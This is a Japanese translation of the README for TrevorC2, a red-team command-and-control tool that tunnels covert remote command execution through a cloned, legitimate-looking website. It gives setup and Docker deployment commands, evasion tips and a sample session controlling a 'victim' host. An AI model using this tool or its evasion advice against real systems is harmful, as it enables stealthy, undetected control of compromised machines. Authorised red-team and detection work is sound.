
TrevorC2は、正当なWebサイト(ブラウズ可能)であり、クライアント/サーバー間の通信をトンネリングして、隠密なコマンド実行を行います。
執筆者: Dave Kennedy (@HackingDave) ウェブサイト: https://www.trustedsec.com
これは非常に初期のリリースであることに注意してください。近いうちに強力なランダム化と暗号化が追加される予定です。
TrevorC2は、通常閲覧可能なウェブサイトを介してコマンド&コントロールを隠蔽するためのクライアント/サーバーモデルです。時間間隔が異なり、データ流出にPOSTリクエストを使用しないため、検出がはるかに困難になります。
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
TrevorC2にはクライアントとサーバーの2つのコンポーネントがあります。クライアントは任意のものと一緒に使用できるように設定可能です。この例ではPythonで記述されていますが、C#、PowerShell、または他の任意の言語に簡単に移植できます。現在、trevorc2_client.pyはWindows、MacOS、Linuxをサポートしています。Windowsのものはバイトコンパイルして実行可能ファイルにすることもできますが、好ましい方法は実行可能ファイルをステージャーとしてドロップせずにWindowsを使用することです。
サーバーの動作方法は、タグの直前にパラメータを隠すことです。これは完全に設定可能であり、検出を回避するためにすべてをユニークに設定することを推奨します。以下がワークフローです:
1. trevor2_server.py - まずファイルを編集し、クローンしたいウェブサイトなどをカスタマイズします。サーバーは選択したウェブサイトをクローンし、サーバーを立ち上げます。このサーバーは誰でも閲覧可能で、正当なウェブサイトのように見えます。ソース内には(これも設定可能な)パラメータが含まれており、これがクライアントへの指示を含みます。クライアントが接続すると、そのパラメータを探し、それを使用してコマンドを実行します。
2. trevor2_client.py - 必要なのは、ウェブサイトにコールアウトし、基本的なデータを解析し、コマンドを実行して、結果をサイトへのbase64エンコードされたクエリ文字列パラメータに配置する機能だけです。それだけです。難しくありません。
3. trevor2_client.ps1 - trevor2_client.pyのPowerShell実装です。ネイティブのPowerShellを使用してTrevor2_Serverと対話できます。
pip install -r requirements.txt
まずtrevor2_server.pyを編集し、設定オプションとクローンするサイトを変更します。
python trevor2_server.py
次に、trevor2_client.pyまたはps1を編集し、設定と通信先のシステムを変更します。
python trevor2_client.py または .\trevor2_client.ps1
TrevorC2は、異なるホスト名から送られる複数のシェルを処理する機能をサポートしています。TrevorC2の動作方法は、新しいホスト名をセッションとして識別することです。コマンドを実行すると、そのセッションと対話できます。複数のセッションがある場合、コマンドを入力し、グローバルに保存されたセッション番号に基づいてそのセッションと対話できます。
TrevorC2を初めて起動したときは、「help」または「?」と入力して追加情報を表示できます。基本的なコマンドの使用法は「list」で、アクティブなシェルがある場合はそれを一覧表示し、「interact <session_id>」で操作したいシェルと対話します。
シェル内ではいつでも「back/exit」と入力でき、シェルはアクティブなままになり、実際には強制終了されません。
以下に例を示します:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.
Trevor C2 shell
trevorc2>help
Documented commands (type help <topic>):
========================================
exit help interact list servercmd
trevorc2>help list
Description: Lists all available agents
Usage: list
trevorc2>list
No available Agents. :-(
trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>
trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] Exiting TrevorC2...
AlpineベースのDockerfileを使用してtrevorC2をデプロイします。クラウドプロバイダーでの迅速なデプロイに便利です。 以下に例を示します:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# ここで、docker-machineを設定してリモートデプロイすると便利です
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
各スクリプトに存在する変数を変更することが重要です。特にSITE_PATH_QUERYと暗号化キーです。また、REDIRECTオプションも確認することをお勧めします。ウェブサイトをクローンする代わりに、サイトを調査している被害者ホストを正当なサイトにリダイレクトする別のオプションがあります。基本的に、誰かがサイトにアクセスすると、クローンしたいサイトにリダイレクトされます。たとえば、クローンサイトをgoogleから別のサイトに変更し、リダイレクトをONに設定します。